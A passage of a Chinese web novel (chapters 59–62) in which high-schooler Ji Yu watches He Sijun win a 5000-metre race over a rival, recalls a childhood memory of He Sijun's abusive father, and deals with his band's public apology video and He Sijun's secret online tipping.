纪羽从鼻子里哼出一道气,懒得管他了,拿着水杯起身准备去透透气,灌水口就在看台侧边底下,来回几分钟的事,纪羽明令禁止贺思钧跟着他。 比赛已经开始了,看台出口连接着操场,纪羽走下去,就有挂着号码牌的人从他身边窜过去,一阵风似的,有一点汗味。 天气转凉后,纪泽兰和徐梁就把秋衣秋裤翻出来,劝说家里所有人穿上。 纪羽宁死不从,但也悄悄穿上了护膝,换上了厚袜。空气变冷,他的腿部关节是最先反应过来的,哪怕没有风没有雨没有雪和冰雹,骨缝里也像生出刺一般,一动就扎得痛,细细密密。 跑走的人还穿着短裤呢,小腿就这么裸露在降温后的寒风里,看着就凉,也很容易受伤。 纪羽像韩姨看着大冬天还在穿短袖的年轻人那样,呲了呲牙,拉起了衣领走到避风口—— 作者有话说:明后两天需要请个假,晚点挂请假条,马上回来,不要忘记小鸟呀[可怜] 第59章 想借接水出来放风的不止纪羽一个, 接水队伍排了长长一条。 纪羽下看台前才点过名,下次点名至少也得在半小时后。 其实直接逃走也没什么,展舒文就不需要别人替她遮掩, 但纪羽确实更喜欢遵守规则一点,至少规则内会发生的事是他预料得到的。 在这种小到不能再小的事情上犹豫又忐忑真是太不值当了, 纪羽加快步子快走两步走到教学楼区域,又晃到楼上,在教室里灌了水, 戳了戳熟睡的展舒文, 趁人醒来前拿了错题本跑出去。 也就那么巧,梁子尧从十八班里飘了出来。 纪羽一点半点不惊奇了。 两人又顺路往操场去。 纪羽有心想试探两句, 但又觉得如果要瞒点什么怎么可能说实话, 加上这么久以来,梁子尧也没真正向他做出恶劣的有实质伤害的事, 他却没对梁子尧有什么好的看法。 如果梁子尧真的无辜, 那他是不是有点太过分了? 纪羽换位思考,如果自己的性格被否定讨厌, 他绝对会难受得想把说他坏话的人嘴巴堵死从鼻孔里灌一肚子胡椒水。 听着梁子尧眉飞色舞地分享长跑的诀窍, 纪羽难得表现出有兴趣的模样:“你报了长跑?” “对啊,5000米, 下午比赛,你要来看吗?” 纪羽:“我在看台上就能看见。” “也是。”梁子尧笑, “不过到终点线看的感觉可能会不一样。” 纪羽不以为然:“能有什么感觉?” 梁子尧:“听到别人喘得像破风箱一样嗬嗬嗬的, 就会感觉呼吸真美好。” “……”纪羽很想翻白眼, 但忍住了,“听着就喘不上气。” 好吧,这大概就是他和梁子尧思维上最根本的差异, 比起对比别人感到轻松幸福,纪羽只会代入到破风箱身上联想自己也开始哼哧哼哧。 家里有很长一段时间禁止播放任何苦情电影和剧集,就是为了避免价值观还不成熟的纪羽入戏太深,半夜情绪过激地淌眼泪、盗汗,把自己搞得全身起疹子。 “而且你不也是选手吗?”大喘气的人不也该有他? 梁子尧两手插兜,胳膊肘时不时擦过纪羽的手臂:“我有技巧嘛,调整过来很快,而且你信不信我能拿第一?” 纪羽隐隐看到贺思钧的身影靠近,随口道:“你好自信。” “纪羽。”梁子尧快走几步落在纪羽前边,面向他,“要不要打赌?” “为什么要打赌?” 贺思钧的身影越来越近了。 梁子尧的眉眼在阳光照射下生气勃勃:“有意思嘛。” 纪羽又问:“打什么赌?” “我会拿第一,”梁子尧说,“我会赢。” 纪羽的头发被风吹乱了,发梢挠着耳朵尖,有点痒,他忍着,整个人看上去心不在焉:“那可不一定。” “这才有意思嘛。”梁子尧说着,倒退两步,“要是我赢了,下周一起出去玩?” 两人和贺思钧间的距离在缩小,纪羽已经能看清贺思钧毫无表情的面孔了。 “没意思。” “那再加一个筹码,输的人要说一个秘密,不能太小,如果对方不满意,就再说一个,怎么样?” 秘密。 纪羽抬眼:“你的秘密和我又没关系。” 梁子尧的笑容扩大了,目光攀爬过纪羽的五官,落在脸颊上不算起眼的黑色小痣:“你会感兴趣的,绝对。” 贺思钧的脚步声静在咫尺,树枝摇着硬韧的叶,声响比任何季节都要大。 “小羽。” “那就这么说定了。” 贺思钧和梁子尧的声音同时响起。 纪羽越过梁子尧的肩膀,看到贺思钧变得沉冷的面色。 “那我先走了。”梁子尧把手抽出裤兜,摆了摆,居然头一次有眼力见地先行离开。 贺思钧走过来,风被他挡去大半。 纪羽以为他会问:你去了哪里或者是梁子尧和你再说什么,这种他很没有立场说的话,但贺思钧什么也没说,只是用他深黑的眼睛看着他。 这种沉默居然让纪羽很难忍受,就像感情并不和睦的夫妻,妻子和适龄男子走在街头被丈夫看到又或是一直接受喂养的猫被发现有其它奴仆一般。尴尬。 尽管他和贺思钧的关系和以上两条都靠不上,但前不久他才答应了少和梁子尧接触的建议,转头却又和梁子尧“有说有笑”地漫步在安静的校园里。 当然,也尽管是梁子尧单方面有说有笑,他只是觉得腿有点酸而走得比较慢而已。 “接水的人太多了,我回了一趟教室。”虽然没必要解释,但纪羽认为打破这份寂静很有必要。 “嗯。”贺思钧应声,像是从喉咙里挤出来的回答,“快点名了。” 纪羽立刻把梁子尧和他的赌注甩到脑后,加快步子:“那你还出来找我,我们俩都不在被记了名字都不知道,你坐位置上说我去上厕所了都行呀!” 怎么那么笨! “还有时间,慢慢走……”贺思钧拉住纪羽胳膊减缓他的步调,他眼睛向下一扫,刚才还平整的眉头居然就此皱起来,“腿不舒服?” 纪羽扒拉他的手劲一松,眼珠很明显地偏移:“没有啊。” 贺思钧半点不留情地蹲下挑起纪羽的裤腿,薄薄一层小腿肌肉立刻绷紧了,但在贺思钧手下仍然和豆腐一样软,带着薄茧的手指在纪羽膝盖窝一圈按压。 纪羽险些失力跪下去,抵着贺思钧的肩膀站住了。 “护膝戴多久了?” “没多久,也就几天吧……” “我是问一天戴多久时间。” 纪羽被他有点硬的语气堵了一下,憋闷着气低声说道:“戴一天呗……” 贺思钧冷声问:“十几个小时?” “那不然呢!”纪羽烦道,“从起床到睡觉有几个小时你不会算,就知道问问问。” “护膝不能戴那么久,我之前和你说过。”贺思钧抬头。 纪羽一噎,声音弱了一截:“你只说不能一整天都戴着,我睡觉会解下来的。” “你睡觉期间不用走路,但你其他时候都在活动,你不能依赖它走路。”“但会痛啊……” 纪羽的重心一半落在贺思钧身上,像只小鸟停靠在肩膀上,小小的爪子抓住了衣领,贺思钧不能动弹了。 “穿秋裤很热啊,而且膝盖和脚踝那里还是冷的,还会酸,走路的时候就会很怪,但没有长很多血点,已经很不错了……对吧?” 贺思钧和纪羽靠得很近,他能看见护膝边缘明显泛红的皮肤,抬手解开粘贴条,语气缓和: “小羽,你可以用宽松的,用这种你会更不舒服。” “其他的没有用。” 纪羽就是这样,尝到一点甜头就好不节制,放任自己依赖,也不想什么时候会承担后果。 贺思钧需要让纪羽知道他这种行为模式有多天真,他用手圈住纪羽的膝盖,收缩掌心:“像这样长时间绷紧,肌肉会一点点退化,还可能加重水肿,血液循环也会变差,你会把你的膝盖弄坏。” “不会!不会。”纪羽立刻说道,“我打算好一点了就摘掉,没有打算一直用它。” “但你已经用了好几天了。” 贺思钧替他把两节护膝都解下收了起来,就这么一会儿功夫,纪羽裸露的皮肤已经变得冰凉。 “没有好几天,也就三四……你干嘛呢!!” 纪羽简直不敢相信贺思钧在干什么! ——贺思钧居然试图把他的裤腿塞进袜子里! “防风。”贺思钧解释道。 “去你的!”纪羽俯身去解救自己的裤子,以人类的审美是无法接受袜子包在裤子外边的! 动作太急,还和贺思钧撞到了一起,纪羽的脑袋像被一块坚硬无比的巨石砸中,顿时头晕眼花。 “&%……#” 大概是贺思钧在叫他的名字。从眼前一黑缓过劲来,纪羽一手捂着脑袋,另一手啪地就是一掌:“烦死了你!” 他也没看清,落手声音清脆才让他醒神,声音顿时弱下:“我没想打你脸……” “头晕不晕?”贺思钧转回脸,半点没受影响,浑身的冷意散得一干二净,依旧沉静地看着纪羽,“这两天请假休息吧。” 纪羽收回手,手掌在身侧蹭了蹭:“不要,我还要看比赛。” “谁的比赛?” 纪羽脱口而出:“柳承要扔铅球,展舒文要跳高,还有5000米长跑,梁子尧说……” 贺思钧掀起眼睑,这个角度下他的眼白显得很多:“他让你去看他的比赛,你同意了。” 他的语气很怪,说不出的用力,像是掏空了胸膛里的空气才问出这一句话,可表情很平静,像只是根据纪羽的回答而做出的合理的推测。 纪羽看着他,没从他的脸上看出异样,于是向他坦白了他和梁子尧的对话。 “你说,他到底有什么秘密和我有关,不会就是告诉我,我们从小就认识吧?那我也太亏了。”纪羽嘟囔着,“不过他说我不满意还可以继续问,但是万一他要是真的跑了第一怎么办…体育生组是不是和其他组分开算?应该没那么容易得第一吧……” “他不会赢。”贺思钧笃定道。 “为什么,你要参加吗,你没报5000米啊。”纪羽顺着贺思钧的力道站起身。 贺思钧答非所问:“你想要我赢吗,纪羽?”—— 作者有话说:大胆贺思钧敢对小鸡这么说话! 第60章 自从免疫功能出现问题, 跑动带来的痛苦多过畅快后,纪羽就不太喜欢运动了。 虽然基本的锻炼他还是会做,但像长跑、打篮球、跳绳此类活动是绝对不在纪羽的清单里的。 所有竞技体育赛事, 他也很少关心。 跑得更快、跳得更高……反复折磨自己从而达到精进再精进的运动都曾让纪羽困惑。 用无法挽回的伤痛换短暂的闪光,能被记住的也只有寥寥几人。 但人的本性或许就是争强好胜, 纪羽也不例外,即便他在竞争中感受到并不是幸福,更没有什么可以称道的珍贵的感悟, 但他确实习惯不断主动或被动地参与比较。 既然没有人能逃过, 那么咬着牙主动踏入更严酷、被挑选境地的人确实值得被敬佩和尊重了。 当然参与一场高中寻常的运动会,还不至于让纪羽对主动迈入火坑的贺思钧肃然起敬。 他只觉得贺思钧脑袋有坑。 不过在贺思钧俯身问他, 想不想要他赢下比赛时, 纪羽还是点头了。 柳承掷铅球成绩不错,但面对围观众人的惊叹时, 他依旧恨不得挖个洞钻进地里, 还是纪羽记下了他的成绩,提醒他去领奖, 柳承见还有拍照环节死活不肯。 结果就是纪羽拎着他站到中央去, 柳承窝在纪羽身后,像鸡崽似的缩着头, 领了奖就跑回了看台。 大概是年级越大胆子也越大,看台上乌泱泱一片人只剩下不到一半, 都到各自感兴趣的场地看比赛去, 点名也取消了。 纪羽和贺思钧提前离开, 在出租屋的床上躺了一个多小时后纪羽得到了贺思钧替他临时缝的护膝。 没有任何支撑性,保暖性能拉满,纪羽走路幅度稍大些, 膝盖骨那块裤管就凸起一块。 纪羽把裤管撩起来又放下,撩起来又放下,看了好几眼,还是没脱掉:“拆开的棉被能缝回去吗……” 用最细的绣花针缝出最粗的针脚,明明棉线也不粗呀,真是不懂贺思钧怎么办到的。 简直丑到极致。 贺思钧还挺谦虚:“我会再练练。” 练习绣工吗,纪羽看他两眼,想贺思钧“三心二意”的本事也不小,这段时间不知道在忙什么,都学会用非法手段查信息了。 这种转变,对贺思钧来说,抛开道德和法律层面评价,应该也算是好事吧,至少他不再死板、墨守成规。 暂且不再去想,下午的运动会如期举行。 几道有节奏的踏步声后,踏板压下,少女如一条尾鱼跃出海面,扎起的发丝擦过横杆。 咯楞一声,杆子和人同时倒在软垫。 是像鱼,不过是鱼干。 直挺挺的。 连跳三次,都是同样的结局。 纪羽绝望地把脸捂上,展舒文倒是一脸从容地从垫子上下来。 纪羽:“我还以为你很擅长。” 展舒文从他口袋里掏出眼镜,戴上:“啧,学校也没要求要擅长才能报项目啊,我认为体验一下很有必要。算了,让柳承评价一下,我刚才表现怎么样?” 柳承讪讪一笑:“很正直……” 纪羽把脸埋在手心里咯咯笑。 “请男子五千米参赛同学到检录台检录,听到广播的同学请尽快到检录台检录……” 展舒文没机会了,后边的比赛也和她没关系,但本着来都来了的态度,她还是打算看到底,积攒点经验,说不定到大学还有一雪前耻的机会。 不过纪羽明显心不在焉,频频向操场另一头张望。 “我们班有谁报五千米吗?”展舒文随口一问。 柳承回忆:“我记得是顾英杰,不过早上跑完四百他就吐了,可能会退赛吧。” 纪羽没说什么,步子也没挪一下。 这个赌注,太幼稚也太莫名其妙,没必要说。 他把视线挪回跳高场地中,裁判挥舞旗帜,女生矫健蹬地,脚掌落下,弹力将她抛向空中。 “砰。”同时,信号枪响。 身边掌声不断,纪羽偏头,看着几道身影穿过长长曲折,飞鸟般掠来。 贺思钧很好分辨,临时决定参赛,他一身校服,白衣黑裤,风一来,不透气的裤管飒飒响。 跑在第一的是梁子尧,他极为轻松地左右张望,看见纪羽时甚至举手挥了挥。 “……”纪羽没抬手,倒是他边上的人热情地挥手。 “加油!” 围在跑道边缘的人喊。 贺思钧在第四个,确实得加油了,纪羽没什么表情地想。 这么些年的负重跑越野都跑下来了,总不能让他输给花孔雀吧? 展舒文眯了眯眼,指道:“贺思钧?” 纪羽抽抽鼻子:“不,是’顾英杰’。” 适时,广播响起,到了念加油稿的时候了。 “奔跑是你的使命,超越是你的勇气,而坚持是永垂不朽的火光,是你灵魂的赞歌!高三十七班的顾英杰,请你纵情前进,无论前方是谁,无论前路多远,请无所畏惧地勇往直前吧!所有十七班同学都为为你鼓劲、加油,像雄鹰一样搏击长空!像猛虎一般一击制胜!加油!我在终点等你……” 展舒文:“哇哦。” 柳承抹汗:“这应该是他女朋友早上就写好的塞过去的。” “……我好想走。”纪羽起了一身的鸡皮疙瘩,完全不能理解播报员是怎么字正腔圆流畅地把这段话念出来的。 而且不知为什么,看台上留守的十七班同学打了鸡血一样真的站起来对着匀速而过的贺思钧高喊助威。 柳承已经在他旁边扭成麻花了。 又是一圈。 “贺思钧,快点啊!”展舒文突然开口喊道,纪羽看到贺思钧朝他的方向偏头。 纪羽才不会做在大庭广众之下喊话的事,所以他只是轻抬下巴,示意自己看到他了,快走吧。 贺思钧似乎是会错了意,竟然突然提速,一举超过两人,逼近了第一。 梁子尧也回头了,但纪羽和他们的距离在拉远,眼神中的内容模糊。 梁子尧提速了! 贺思钧才拉进的距离再次增加。 但差距不会一直存在,贺思钧不是甘于落后的人,尤其是在接受“指示”后,他的步频始终没有慢下,反而更快、更快。 “不是还有六圈半吗,他们干嘛呢??” “前两个是不是有仇啊,第一抢人女朋友了,追得跟逃杀似的,还有好几圈不留体力怎么跑。” “都套圈了吧?” “我去,不会累?是人吗,跑那么快!” 又一圈,贺思钧超过了梁子尧,脸色依旧很平静,暂时落后的梁子尧向纪羽做了个委屈巴巴的表情。 不知不觉,跳高比赛结束了,纪羽也站到了跑道外围。 人跑过的风像锋利的白纸边缘,划过纪羽裸露的手背。 一圈又一圈,前期梁子尧还会赶超两步,但到最后两圈,贺思钧已经稳稳在前。 每一次他路过,纪羽都会想,不累吗? 那种呼吸急促到肺像要炸开,双腿酸软,浑身上下的器官都被翻来覆去地颠,连太阳穴也开始抽疼。 那是很久以前了,他拉着贺思钧跑出家门,一直跑一直跑不敢停下。 即便他知道失去小腿的贺泰安是追不上他们,也绝对不会来追的,但他还是不敢停下。 再也迈不动步子时,他甚至分不清跳出喉咙的心跳是因为身体机能到了极限还是惧怕的余韵使然。 他居然顶撞了贺泰安。 “你别…别害怕……”纪羽察觉到贺思钧的手在颤抖,他竭力平复呼吸,安慰道。 “是你在抖。”小时候的贺思钧依旧不讨喜,戳穿了真相。 “……”纪羽瞪眼,贺思钧没有再说话了,他的胸膛也在起伏,只是幅度比纪羽小得太多。 贺思钧额头上的血已经流到了下巴,有一部分血渗到了头发里。 纪羽和他牵着的手里也尽是血和透明的组织液,滑腻腻的,他们握得很紧才没有松开。 “你的手破了。”纪羽不知道该先关照贺思钧指甲盖翻起关节破损的手还是先按住贺思钧头顶不断渗血的伤口。 他害怕得不得了,出了诊所他才哭出来。 眼泪豆大地一颗接着一颗,落在贺思钧沾着泥巴的鞋面上。 这时他还没有太多应对悲伤的纪羽的经验,更不知道他为什么哭,只猜他是被吓到,就把手藏在身后,定定地站着看着纪羽掉眼泪。 纪羽哭够了,用袖子抹了眼泪,小心地拉着贺思钧的胳膊: “你到我家里去,我把你藏起来,不会让干爸…不会让他找到你的。” 贺思钧摇头,天色昏黄,到他该回去的时候了,他说:“我回家。” 才止住的眼泪又掉出来,但纪羽的情绪明显变化,他几乎是用吼的,只是嗓音还很稚嫩,没什么威慑力:“为什么!他打你,你还要回去!” 就算是纪律也不会对他这样。纪羽的胸口很痛,血腥味还在向外冒,只是带贺思钧逃走,纪羽都快难受得死掉了,贺思钧全身都是血,好像让纪羽做了好几个晚上噩梦的恐怖片里的人。 血淋淋的。 “我没有被打。”贺思钧想安慰纪羽,“你不要哭了。” “那你为什么会受伤,你的指甲盖都没有了,怎么办,你以后连橘子都剥不开了……”纪羽嗓子哑了,他简直不能想比这更难过的事。 “这是为了……让我变得更好。现在你看到的,是因为我做得还不够。” 纪羽露出极其不认同的表情。 贺思钧补充:“指甲会长出来的,很快。” “真的?” “真的。” “真的也不好。”温暖的小小一团抱住了手臂,轻轻的,手掌拍在他背后,贺思钧整个人僵住了。 “不要很好不可以吗,受伤很痛…爸爸妈妈不能这样对你,你会好痛,会很难受…不要这样了……” 为什么不能? 他就是为了延续贺泰安的意志出生的,乔青燕也体贴地不干涉,很多时候她只是看着,或者离开。 纪羽却慌张地闯进来,带着惊惶,带着勇气,带他跑出家门,跑过纪羽永远不肯步行走过的长桥,对他说,不用变得更好,因为他也会痛会难受。 纪羽流着贺思钧半知半解的眼泪。 “最后半圈了!” 山呼海啸的助威与欢呼声里,贺思钧跨过终点,头也不回地向前奔去,直到在纪羽身前停下。 “我赢了。” 他把风带到纪羽身边,呼出的气流灼热,吹乱了他喜欢的人的头发。 60-70 第61章 “看到了!”纪羽偏过脸, “你身上好热,别站那么近。” 蒸腾的热意在少年间传递,恍惚间夏季去而复返。 纪羽手脚发烫, 这次贺思钧没有顺从他的心意远离,只是用深黑的眼珠望着他, 像农村的土犬乞食,不言不语蹲坐着,尾巴慢慢地摆。 “挺厉害的。”纪羽干巴巴地夸赞道。 贺思钧嘴角挑起几乎无法辨别的弧度, 纪羽仿佛都能看见他身后的尾巴摇出残影。 土狗, 笨狗。 身后突然响起一阵嘈杂,几人围在跑道一处, 商讨着什么。 纪羽不爱凑热闹, 但无奈在其中看到了梁子尧的脸。本着人道主义原则,纪羽挤了进去。 听着一圈人叽叽喳喳, 纪羽大致清楚发生了什么事。 媒体中心的人正拍视频呢, 最前边的两人跑完了5000米,但后头还有人在坚持, 正拿着相机录制, 也没注意后边就倒退着跑,全靠其他人智能避障, 没想正巧和心不在焉的梁子尧撞到一块。 两个大小伙子,撞一下也没什么, 坏就坏在人手里还拿着器械, 下意识拿身体做了肉垫——梁子尧的身体。 这一绊一垫一磕, 确实叫人狼狈。 梁子尧曲着一条腿,仰面躺在跑道上,余光瞥见纪羽过来, 抬臂挡住了脸。 “你没事吧?”纪羽问。 梁子尧把脸往胳膊里埋:“没事。” “你把脸挡着干什么。” “……”梁子尧半晌憋出两个字,“丢脸。” 裸露的耳朵和脸侧腾红一片,年少轻狂的张扬没得到期盼的结果,既叫人羞愤欲死,也让气血难平。 纪羽毫不给面子地大笑出声,直到来人把梁子尧抬上担架,他的笑脸还没落下。 转身,险些踩到贺思钧的脚。 纪羽笑起来是很赏心悦目的那一种,脸颊鼓鼓的,颊廊打开的大小刚刚好,富有攻击性的眼型也弯弯地柔和了许多。 是叫人见了就移不开眼的骄矜与天真。 能逗他笑,大概做任何事都会情愿。 只是这种笑容,却是由梁子尧带来的。 明明是他赢了,贺思钧想。 脑子还没想明白,手已经抬起,捏住了纪羽的脸。 纪羽:OoO。 纪羽把他的手拍落:“干嘛!” 眉头压下,眼尾显得更上挑,娇纵的,不太高兴的。 贺思钧垂下手,语带恳切:“再笑一下。” 对着我,笑一下。 只对着我。 纪羽不遂他愿,甚至呲了呲牙:“想得美。” 晚上,纪羽照旧赶去城郊的仓库训练,贺思钧也在。 既然承风要苟活着,各平台的运营就不能再装死,除了微博发布行程安排,曲坚还有意在几个视频平台运作,这段日子攒了不少练习视频。 纪羽拿着衣服走进几块废弃防尘罩围挡的隔间,再出来时就从清纯男高成了神秘贝斯手。 辽光吸溜麻辣烫,发表看法:“哟!魔法高中生大变身!哪天你从手腕里射蛛丝我都觉得正常。” “别整那么魔幻的。”纪羽拉了拉口罩,大半张脸被遮挡,说话声线低了半度,没那么稚嫩。 幸好他不是主唱,要不挡着脸唱歌都麻烦。 “准备好了吧,辽光你把脸擦擦,一嘴红油,老麦耳朵上的烟丢了,贝旬不错。”纪羽环视一圈,又噔噔噔跑去把光调暗,这下格调十足,他向贺思钧点头,“可以开始录制了。” 曲坚也不是每回排练都在,不知不觉纪羽就成了协调安排的一方,老麦乐见其成,半点异议也没有,辽光的意见忽略不计,贝旬和贺思钧自然不会反对,导致纪羽在队内简直成了霸王。 排练中众人几次变调、加速故意串歌,主唱被玩弄于股掌之中。不在沉默中爆发,就在沉默中灭亡,辽光猛得一摘吉他,仰天大吼: “阿雀!!” 纪羽抬眼,很无辜地从鼻子里发出一声:“嗯?” “你欺人太甚,我今天不给你点颜色看看,我就不姓辽!” “永光啊,你本来就不姓辽。”纪羽怜爱道。 辽光真名曝光后,很多乐迷都很亲切在台下地喊他“永光啊”,每回听到辽光都恍惚以为老家里来亲戚了,有时还错过拍子,说是为了让他脱敏,前段日子纪羽张嘴闭嘴就是永光长永光短,听得辽光噩梦里都是一只鸟重复地叫他:“永光啊!” 原本还想着在镜头前体面点,这称呼一出,辽光就开始抵着话筒发出鬼叫,音响嘣得人耳朵嗡嗡的。 纪羽捂着耳朵:“谁让你上次用我拨片开夏威夷果的!” 鬼叫暂停,辽光挑高眉毛:“那不是我自己的找不到吗,而且你的厚一点,顺手,好用,而且它又没坏!” “那也不是你这么对它的理由!”纪羽反斥道。 “你都捡了我那么多拨片了,我用一下你的怎么了!” 纪羽吸一口气,音量压过大嗓门的主唱:“那你说你的拨片怎么来的,不是我给你又买又捡的吗!你玩我的拨片我玩一下你怎么了!!” 辽光一噎,再说出的话也弱了几分气势:“那,那你也不能联合老麦和贝旬……” 这么玩他,神经错乱都是小问题,他有几首谱子没记熟暴露了有失颜面才是大事! 贝旬加入战局:“你要是能早到也不会被玩。” 老麦:“三首错音,两首跑调,你自己看着办。” 这周第三次迟到的辽光:“我不是加班嘛……” 纪羽哼了一声。 辽光彻底败下阵来:“我道歉行了吧,下次再迟到,就玩死我!” 纪羽咳嗽一声。 “……而且我保证不会再动阿雀的拨片,也不把自己的拨片乱丢!” 说完,他转过头对贺思钧道:“没录进去吧?” 贺思钧把镜头对着纪羽得意的脸,放大:“没。” 隔天,上传平台的视频掐去了贝斯手特写,将拌嘴全程保留并配上了字幕。 很快,就迎来了第一批弹幕。 【萌啊萌啊萌啊,吵架日常摩多摩多。】 【永光啊,说好要给点颜色看看呢,你的颜色在哪呢,我怎么没看到,声明:我不是色盲。】 【阿雀嗓门好大,之前还以为阿雀是低音炮呢,没想到是亮嗓,吓我一跳!】 【上条新粉吧,以前阿雀也会发言说几句的,会刻意压低声音,但是还是能听出来年纪不大,萌萌的,完全一只高音小鸟~~】 【贝旬又补刀哈哈哈哈哈哈】 【其实也没人在意咱们永光啊有没有迟到或者搞坏拨片吧,就是想玩他。】 【永光啊,多练习吧,我也听出来你走音了!】 【阿雀实权,是队霸吧,抖抖。】 【老麦状态好好,以前看他们还觉得有点紧绷,现在好松弛……】 【前几个月发生了什么了,感觉一定有大事,但是看队内氛围不像是不合啊?】 【既然那么久没解释,应该是不方便说吧,算了,反正现在挺好的,比以前有活人感多了。】 【呜呜呜我的承风你复活了还变强了,真好TT】 【什么时候出新歌什么时候出新歌什么时候出新歌什么时候出新歌x999】 …… 【啊等等,有个新视频上传!!!】 【卧槽真的假的道歉视频???】 【道歉啥啊?我断网了??】 众人忐忑地点进视频。这年头发视频道歉无非是为了几件事:睡了、没税、抄袭、解散、演出取消。 无论哪件事,都不算好消息,众人都抱着“应该是演出取消吧”的猜想点进视频。 视频内,承风一行人少见严肃地站成一排。 “有关今年七月,承风想为以下几件事致歉……” 视频说明了七月初乐队比拼决赛后,为何承风会销声匿迹。 视频大概攒了很久,最左侧的贝斯手还穿着单衣,肩背单薄,他向镜头的方向鞠躬低头道歉,身旁的人随他一起弯腰。 画面黑下,视频最后提到如果有情感受到伤害的乐迷,可以联系账号,承风将对其自七月以来参与过的演出进行报销处理,并再次为因为此事受影响的人道歉。 屏幕黑下,纪律吐出他的评价:“蠢。” 想也知道是谁坚持想发出这个视频。 就为这件事,才又哭又闹了两个月? 没人知道的事,又提起来做什么,不受争议不舒服? 纪律揉捏眉心,视频里具体事情并没有详细说明,于是想着搜索了解承风曾参与的比赛了解清楚,但正巧此时,手机铃声响起,来电人显示:【危险分子】。 “喂,纪律,你在哪儿啊?” 纪律打开车灯。 “哦,我看到了!” 他忘关手机,啪嗒脚步声从话筒内传来,继而切实接近了车边。 先将琴盒放上后座,纪羽才探身坐进来,挂断了电话。 纪律抬眼:“贺思钧没来?” “……”纪羽不答,后视镜里他翻了个白眼。 “又吵架了。”纪律下定论。 啪的,纪羽一拳打在驾驶座枕上:“不用你管。” 发不发视频都是承风内部决定的事,谁让贺思钧提反对意见了。 说不通、听不懂话的傻狗! 纪羽闷声怒了一阵,抵不住困意睡去,醒来时纪律正打开车门要叫醒他。 见他眼下青黑,纪律说道:“值吗?” “什么?”纪羽打着哈欠从纪律手臂下钻出。 “你可以暂时停半年乐队活动,至少过了高三,现在你没法平衡这些时间。” 从早到晚,从工作日到假期,没有一刻休息的余暇。 暂时放下一些事,至少轻松些。 显然,纪羽是不肯接受他的建议的,他仰起脸,眉眼镀着门廊的光,异常明亮。 “但是我喜欢乐队啊,我喜欢弹贝斯,喜欢上台,我才不要每天上学!” 纪羽跃上台阶,回头向纪律做了个鬼脸:“说了你也不懂。” 第62章 视频发布后评论如何, 纪羽没有去看。 承风能不能存活下去尚且不说,这件事始终是扎在心头的一根刺,或许在外人看来无足轻重, 但向大众说明这件事也花了纪羽不少勇气。 但总归万事开头难,真正痛苦的往往是还没有做出决定、迈出一步的时候。 既然已经做了, 那就轻松得多了。 至于不看反响是不是属于另一种胆小鬼行径,纪羽不在乎。 运动会结束,紧接着又是新的联考, 照老师的话说, 这段日子又闹又跳得皮都松了,都不知道自己姓啥了。 梁子尧伤了腿, 有几天没来学校, 聊天框也久久不动,像是凭空消失了, 承诺的兑现也不得不一再推后。 有关莫满的接触进程也暂时卡住, 人在国外,纪羽总不能瞬移过海又精准在人群中找到这个从没见过的男人, 晃着他的肩膀问:为什么要模仿我你说啊你说啊! 倒是也清净。 午休, 纪羽难得没沾床就睡。 脑神经过于活跃,脑袋像错频的收音机, 滋儿哇啦的。 索性睁开眼,打开手机。 两分钟后, 乒铃乓啷一阵响声后, 卧室门打开, 纪羽从房间里赤脚冲了出来。 “你打赏了五千????!” 纪羽险些要蹦起来,加入胸腔共鸣后音量前所未有的大。 贺思钧放下笔,手掌一抓, 手臂一抬就把纪羽提溜到沙发上。 “地上脏。” 他和纪羽都在发育期,体型还没彻底定下,但贺思钧显然从骨架上就更高大,纵使纪羽再追赶也不可能超越生理极限,凭空长“大”两圈。 他在贺思钧面前可不就是手无缚鸡之力。 贺思钧走到卫生间里,纪羽没再追过去,只好提高音量喊道:“打赏榜第一的J就是你吧,全平台同名很好认你知不知道,还有你哪来的钱,你有钱干什么不好非要打赏给承风,平台要扣掉一半费用的。” 水波在盆中荡漾,贺思钧试过水温把洗脚水放下,捉着纪羽的脚按到盆底。 “赚的。” “好烫!”纪羽不敢信贺思钧还有时间去赚钱,“你做什么能一下子赚到那么多钱?” “不烫,是你脚太冷了。”贺思钧按着他膝盖,没叫纪羽躲开,等人不再扑腾了才说,“在网上赚的。” “网上?你晚上没上晚自习去上网了?我以为你回家了!” 纪羽脑袋一转,指向室内:“里面那台电脑不会是你买的吧?” 贺思钧点点头,他找不到黑网吧,附近老板一见他穿着校服隔着五米远就请他止步,只好到附近二手市场淘了个离报废只差一步的旧电脑回来,纪羽一直以为那是房东用不着送来的。 “我在网上做一点替人收集资料的活。” 纪羽第一反应:“合法吗?” 贺思钧干脆把自己整理的资料展示给纪羽。 一份文件密密麻麻几十页,纪羽眼花缭乱,想也知道不是简单地在网上复制粘贴拼凑来的。 “你这段时间就在干这个?”纪羽这才明白过来,贺思钧是怎么知道莫满去了国外的。 这是搞情报的吧。 但贺思钧既然早有这个本事,为什么在一开始却不知道莫满的存在呢? “琴行不在莫海龙名下,我之前没能查到。”贺思钧低头认错,倒是让纪羽有点不自在了。 “我又没说怪你……”纪羽拍沙发,把话题转回来,“你自己赚的钱打赏给承风干什么,你从哪学来的,你又不是什么直播间大哥!” “我直接给你,你会收吗?”贺思钧把洗脚水倒了,捡来纪羽落在床底的拖鞋,自己回答了,“你不会收,但我还是想给你,至少我要做点什么。” 事实上,他希望出现在那个道歉视频里的人是他,事件的始末也不该归结于纪羽轻松的一句个人原因无法到场。 纪羽在他面前乞求过、威胁过、愤怒过,他做出了所有的努力,只是贺思钧确实是个铁石心肠的人,宁愿要留下纪羽,留下他的失落与怨恨,也不愿意放他离开。 纪羽可以不把错误全都归结于他,但贺思钧不想被排除责任之外。 可承风才是一个集体,是纪羽希望能被代表的能令他安心的团队,贺思钧在此,没有立足之地。 他不存在名分,也缺少资格站在纪羽身边和他共同担当。 哪怕外界的揣测再离谱荒诞,他也不能道出那一天的细节,他只被允许旁观。 贺思钧前所未有地挫败。 “我想支持你,承风不会再是我的假想敌。只要是你想要的,我不会再阻挠,就算我不能站在你身边,我也想做点什么。打赏可以增加承风的账号权重,只要有人表现出支持的态度,其他人也会跟着改变话风口。我不应该和你说那些话,别把我踢走,小羽。” J的账号抢占了前排,正面的评论导向让评论区许多乐迷也随之以温和的态度表达了自己的想法,没有预想中的乌烟瘴气,大多都只是态度平和的讨论,还有人惊讶他们主动将这件事抖落出来,主动给自己添了一段“黑历史”。 总归只要承风健在,没什么大事小事过不去的,不是抄袭,不是队内恋爱又闹分手,更不是解散,这一出偷梁换柱收录入乐队奇葩事件榜排连前十都够不上,在乐迷内部并没有引起过大的动荡。 除了少数偏激言论,纪羽简直不敢想这件事会以这样堪称和谐的氛围中度过。 